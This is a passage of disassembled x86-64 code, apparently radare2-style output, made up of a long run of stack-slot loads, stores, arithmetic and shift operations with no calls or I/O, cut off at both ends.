mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x5e78]
mov ecx, dword [rsp + 0x2d40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5f58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c74]
mov dword [rsp + 0x2eac], eax
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [rsp + 0x54f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5d38]
mov qword [rcx], rax
lea rax, [0x140113008]
mov qword [rsp + 0x6ba8], rax
mov rax, qword [rsp + 0x6120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sub eax, ecx
mov word [str.__v83], ax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xa60]
sub eax, ecx
mov word [rsp + 0x944], ax
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x5738]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
sub eax, ecx
mov byte [rsp + 0x8f], al
movsx eax, byte [rsp + 0x4b]
movsx ecx, byte [rsp + 0xde]
add eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
mov eax, dword [rsp + 0x2be4]
mov dword [rsp + 0x2eb0], eax
mov rax, qword [rsp + 0x6150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6538]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x65c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63d0]
mov qword [rsp + 0x6bb0], rax
mov rax, qword [rsp + 0x6a70]
mov ecx, dword [rsp + 0x2ea8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x61e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x69a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114190]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d10]
movzx eax, byte [rax]
movzx ecx, byte [0x140113022]
add eax, ecx
mov rcx, qword [rsp + 0x5f60]
mov byte [rcx], al
movzx eax, word [rsp + 0x8e8]
mov word [rsp + 0xc04], ax
movzx eax, word [rsp + 0x988]
mov rcx, qword [rsp + 0x6708]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x58b0]
movzx ecx, al
mov rax, qword [rsp + 0x68c0]
shr rax, cl
mov qword [rsp + 0x59f0], rax
mov rax, qword [rsp + 0x5358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6618]
mov qword [rsp + 0x6bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6bb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2cd8], eax
mov rax, qword [rsp + 0x5218]
mov qword [rsp + 0x6bc0], rax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x6020]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2af8], eax
movzx eax, word [rsp + 0x96c]
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x5050]
movzx eax, byte [rax]
mov byte [0x140114225], al
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x118]
and eax, ecx
mov rcx, qword [rsp + 0x5240]
mov byte [rcx], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x5ba8]
movzx eax, byte [rax]
mov byte [rsp + 0x11c], al
mov eax, dword [rsp + 0x2c1c]
mov ecx, dword [rsp + 0x2d34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b30], eax
mov rax, qword [rsp + 0x5238]
mov qword [rsp + 0x6bc8], rax
mov eax, dword [rsp + 0x2bd4]
mov ecx, dword [rsp + 0x2e6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b68]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x6bd0], rax
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x6838]
movzx eax, word [rax]
mov rcx, qword [0x140114458]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113024], ax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6360]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b80]
mov byte [rcx], al
lea rax, [rsp + 0xa64]
mov qword [rsp + 0x6bd8], rax
mov rax, qword [rsp + 0x5660]
movzx eax, byte [rax]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x6be0], rax
mov rax, qword [rsp + 0x6660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c98], eax
mov rax, qword [rsp + 0x5eb8]
mov rcx, qword [rsp + 0x5eb0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x53b8], rax
mov eax, dword [rsp + 0x2c9c]
mov dword [rsp + 0x2eb4], eax
movzx eax, word [rsp + 0x9f8]
mov rcx, qword [rsp + 0x5e70]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5b20]
mov word [rcx], ax
lea rax, [rsp + 0xa20]
mov qword [0x140114588], rax
movzx eax, byte [0x140113062]
mov byte [rsp + 0x11d], al
movsx eax, word [rsp + 0xae4]
mov rcx, qword [rsp + 0x5530]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbf8], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140113036]
shl eax, cl
mov rcx, qword [rsp + 0x69a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov qword [rsp + 0x6be8], rax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ccc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2eb8], eax
movabs rax, 0x753462330595ff
mov rcx, qword [rsp + 0x4ec8]
imul rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6590]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
and eax, ecx
mov rcx, qword [rsp + 0x5e88]
mov byte [rcx], al
lea rax, [rsp + 0x9a]
mov qword [0x140114590], rax
mov rax, qword [0x1401143f8]
movzx eax, word [rax]
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x984]
sub eax, ecx
mov rcx, qword [rsp + 0x54a0]
mov word [rcx], ax
lea rax, [rsp + 0x63]
mov qword [rsp + 0x6bf0], rax
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
mov rcx, qword [0x140114590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x6968]
mov eax, dword [rax]
mov dword [rsp + 0x2ebc], eax
mov rax, qword [rsp + 0x58d8]
mov rcx, qword [rsp + 0x4f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5ea0], rax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x55e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6210]
mov dword [rcx], eax
lea rax, [rsp + 0x6750]
mov qword [rsp + 0x6bf8], rax
mov rax, qword [rsp + 0x6990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa60]
sub eax, ecx
mov word [0x140113048], ax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
movzx eax, word [rsp + 0x958]
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x56e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
movzx eax, byte [0x140113052]
mov rcx, qword [rsp + 0x6ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6260]
mov byte [rcx], al
lea rax, [rsp + 0x2d6c]
mov qword [rsp + 0x6c00], rax
mov rax, qword [rsp + 0x6528]
mov rcx, qword [rsp + 0x65c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67c0]
mov qword [rsp + 0x6c08], rax
mov rax, qword [rsp + 0x5840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e0c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce4], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x958]
sar eax, cl
mov word [0x1401130d4], ax
movsx eax, byte [0x140114212]
movsx ecx, byte [rsp + 0x57]
shl eax, cl
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x51b8]
movzx eax, word [rax]
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x5dd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x5780]
mov word [rcx], ax
mov rax, qword [rsp + 0x6710]
movzx eax, byte [rax]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x5fb0]
mov rcx, qword [rsp + 0x6890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5f58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5280]
mov eax, dword [rax]
mov dword [rsp + 0x2ec0], eax
mov rax, qword [rsp + 0x4e08]
mov rcx, qword [0x140114160]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b40], rax
mov rax, qword [rsp + 0x51f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x65b8], rax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401141b8]
sub eax, ecx
mov rcx, qword [0x1401143f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6048]
movzx eax, word [rax]
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x5bb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbf4], ax
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x5020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
sub eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x5340]
mov rcx, qword [rsp + 0x6908]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6b00], rax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x6c10], rax
mov eax, dword [rsp + 0x2e9c]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2de8], eax
lea rax, [rsp + 0x4f48]
mov qword [rsp + 0x6c18], rax
movsx eax, word [rsp + 0x8e0]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401130d8], ax
mov rax, qword [rsp + 0x5a30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov rcx, qword [rsp + 0x6708]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x45], al
lea rax, [rsp + 0x73]
mov qword [rsp + 0x6c20], rax
movsx eax, word [rsp + 0x96c]
mov rcx, qword [rsp + 0x5608]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x68b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fe8]
mov eax, dword [rax]
mov dword [rsp + 0x2ec4], eax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d68]
mov rcx, qword [rsp + 0x5480]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x52f0], rax
mov rax, qword [rsp + 0x5270]
mov rax, qword [rax]
mov qword [rsp + 0x6c28], rax
movsx eax, byte [0x14011301f]
movsx ecx, byte [rsp + 0x104]
and eax, ecx
mov byte [0x14011301b], al
mov rax, qword [rsp + 0x54a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6548]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6758]
mov word [rcx], ax
mov rax, qword [rsp + 0x6430]
movzx eax, byte [rax]
mov byte [rsp + 0x120], al
movsx eax, word [0x1401130ac]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc10], ax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x5ce8]
mov rcx, qword [rsp + 0x5c58]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5d50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x4fa0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6bc0], rax
mov rax, qword [rsp + 0x6818]
mov eax, dword [rax]
mov dword [rsp + 0x2ec8], eax
mov rax, qword [rsp + 0x5da0]
mov ecx, dword [rsp + 0x2e0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa7c]
sub eax, ecx
mov rcx, qword [0x140114540]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10d]
mov byte [rsp + 0x121], al
movzx eax, word [rsp + 0x958]
mov rcx, qword [0x140114540]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5088]
mov word [rcx], ax
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
sub eax, ecx
mov rcx, qword [rsp + 0x6388]
mov byte [rcx], al
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0x5648]
movzx ecx, al
mov rax, qword [rsp + 0x6268]
sar rax, cl
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x6650]
mov eax, dword [rax]
mov dword [rsp + 0x2ecc], eax
mov rax, qword [rsp + 0x5728]
mov ecx, dword [rsp + 0x2ea0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x61f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ff8]
mov qword [rsp + 0x6c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c38]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x91c]
or eax, ecx
mov word [0x1401130dc], ax
movzx eax, byte [rsp + 0xf7]
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x59]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xec], al
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x6c40], rax
mov rax, qword [rsp + 0x5508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a4]
sub eax, ecx
mov word [rsp + 0xaa8], ax
lea rax, [rsp + 0x65a0]
mov qword [rsp + 0x6c48], rax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6938]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x58d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6600]
mov ecx, dword [rsp + 0x2b90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cf8], eax
lea rax, [0x140114150]
mov qword [rsp + 0x6c50], rax
movzx eax, word [rsp + 0xad0]
mov rcx, qword [rsp + 0x5a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x97c], ax
lea rax, [rsp + 0xb3]
mov qword [0x140114598], rax
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0x5848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8ec]
and eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
mov qword [rsp + 0x6c58], rax
mov eax, dword [rsp + 0x2e88]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [rsp + 0x6c60], rax
mov eax, dword [rsp + 0x2c24]
mov ecx, dword [rsp + 0x2c48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5738]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36], al
movsx eax, byte [rsp + 0xa4]
movsx ecx, byte [rsp + 0x101]
sar eax, cl
mov rcx, qword [0x1401143b0]
mov byte [rcx], al
movzx eax, word [rsp + 0xacc]
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5f68]
mov word [rcx], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x6c68], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2d78]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x65b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5db8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x57e0]
shl rax, cl
mov qword [rsp + 0x5808], rax
lea rax, [rsp + 0x5df8]
mov qword [rsp + 0x6c70], rax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2eb0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6650]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x5598]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5848]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14011301c], ax
mov rax, qword [rsp + 0x5828]
movsx eax, byte [rax]
movsx ecx, byte [0x14011304b]
sub eax, ecx
mov byte [rsp + 0xf2], al
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov word [rsp + 0xc24], ax
movsx eax, word [rsp + 0xa54]
movsx ecx, word [rsp + 0xa38]
sub eax, ecx
mov rcx, qword [rsp + 0x6188]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x6638]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6608]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bdc]
mov dword [rsp + 0x2ed0], eax
mov eax, dword [rsp + 0x2c34]
mov ecx, dword [rsp + 0x2e3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ec8], eax
lea rax, [0x140113008]
mov qword [rsp + 0x6c78], rax
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0x92]
and eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0xd0]
mov qword [0x1401145a0], rax
mov rax, qword [rsp + 0x6b68]
movsx eax, byte [rax]
mov rcx, qword [0x140114310]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x5e18]
movzx eax, word [rax]
mov word [rsp + 0xc28], ax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov word [rsp + 0xa44], ax
lea rax, [rsp + 0x3a]
mov qword [rsp + 0x6c80], rax
mov rax, qword [rsp + 0x57e8]
mov rcx, qword [rsp + 0x5388]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e68], eax
mov rax, qword [rsp + 0x6668]
mov rax, qword [rax]
mov qword [rsp + 0x6c88], rax
mov eax, dword [rsp + 0x2df0]
movzx ecx, al
mov eax, dword [rsp + 0x2e44]
shr eax, cl
mov dword [rsp + 0x2d30], eax
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0xa64]
shl eax, cl
mov word [0x1401143e8], ax
lea rax, [0x140114157]
mov qword [rsp + 0x6c90], rax
movsx eax, word [rsp + 0x87c]
mov rcx, qword [rsp + 0x6c40]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6620]
mov word [rcx], ax
mov rax, qword [rsp + 0x57a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
mov rax, qword [0x140114190]
movzx eax, byte [rax]
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e18], eax
mov rax, qword [rsp + 0x5388]
mov qword [rsp + 0x6c98], rax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58c0], rax
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x6ca0], rax
lea rax, [rsp + 0x9e4]
mov qword [0x1401145a8], rax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa98]
add eax, ecx
mov rcx, qword [rsp + 0x65a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8ac]
mov rcx, qword [rsp + 0x6358]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa4c], ax
mov rax, qword [rsp + 0x5c30]
movzx eax, byte [rax]
mov byte [rsp + 0x127], al
movsx eax, word [rsp + 0xb58]
mov rcx, qword [0x140114450]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov dword [rsp + 0x2ed4], eax
mov rax, qword [rsp + 0x5570]
mov ecx, dword [rsp + 0x2bb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b8c], eax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x6268]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5d18], rax
mov rax, qword [rsp + 0x59d8]
mov rax, qword [rax]
mov qword [rsp + 0x6ca8], rax
lea rax, [rsp + 0x8e0]
mov qword [0x1401145b0], rax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0x5e40]
mov byte [rcx], al
lea rax, [rsp + 0xf1]
mov qword [rsp + 0x6cb0], rax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0xa5]
shl eax, cl
mov rcx, qword [rsp + 0x5110]
mov byte [rcx], al
movzx eax, word [rsp + 0x8a0]
mov rcx, qword [rsp + 0x52b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8bc], ax
lea rax, [rsp + 0x2e00]
mov qword [rsp + 0x6cb8], rax
mov rax, qword [rsp + 0x66a8]
movzx ecx, al
mov rax, qword [rsp + 0x62e0]
sar rax, cl
mov rcx, qword [rsp + 0x5588]
mov qword [rcx], rax
lea rax, [rsp + 0x6428]
mov qword [rsp + 0x6cc0], rax
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x6a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x56b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0x6138]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401141d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov word [rsp + 0xc2c], ax
movsx eax, word [rsp + 0xb58]
movsx ecx, word [rsp + 0xc00]
and eax, ecx
mov rcx, qword [rsp + 0x63f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [rsp + 0x117]
sub eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov byte [rcx], al
lea rax, [rsp + 0xa94]
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x5b68]
mov ecx, dword [rsp + 0x2ea8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b44], eax
lea rax, [rsp + 0x5dc8]
mov qword [rsp + 0x6cd0], rax
mov rax, qword [rsp + 0x5518]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5fe0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x59e0], rax
mov rax, qword [rsp + 0x6a18]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b88], eax
lea rax, [rsp + 0xba]
mov qword [0x1401145b8], rax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov byte [rsp + 0x128], al
movsx eax, byte [0x140114223]
movsx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
movzx eax, word [rsp + 0xa44]
mov word [rsp + 0xc30], ax
movzx eax, byte [rsp + 0x7e]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae8], eax
lea rax, [rsp + 0x5138]
mov qword [rsp + 0x6cd8], rax
mov eax, dword [rsp + 0x2c64]
mov ecx, dword [rsp + 0x2ca4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov dword [rcx], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x6ce0], rax
movzx eax, word [rsp + 0xa3c]
movzx ecx, word [rsp + 0xbf4]
shl eax, cl
mov word [section..data], ax
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
sar eax, cl
mov byte [rsp + 0x124], al
movsx eax, word [0x140114280]
movsx ecx, word [rsp + 0xaa8]
xor eax, ecx
mov word [rsp + 0x914], ax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
mov byte [rsp + 0x129], al
movzx eax, word [rsp + 0x91c]
mov rcx, qword [rsp + 0x5720]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x948], ax
lea rax, [rsp + 0x2dac]
mov qword [rsp + 0x6ce8], rax
mov rax, qword [rsp + 0x6800]
mov rcx, qword [rsp + 0x4db8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c28], rax
mov rax, qword [rsp + 0x5e38]
mov rax, qword [rax]
mov qword [rsp + 0x6cf0], rax
mov eax, dword [rsp + 0x2b58]
mov ecx, dword [rsp + 0x2a20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d38], eax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0x6b70]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14011308c], ax
movzx eax, byte [rsp + 0xb6]
movzx ecx, byte [0x140113046]
add eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
movzx eax, word [rsp + 0xb5c]
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8f4], ax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2e8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c88], eax
mov rax, qword [rsp + 0x4ba8]
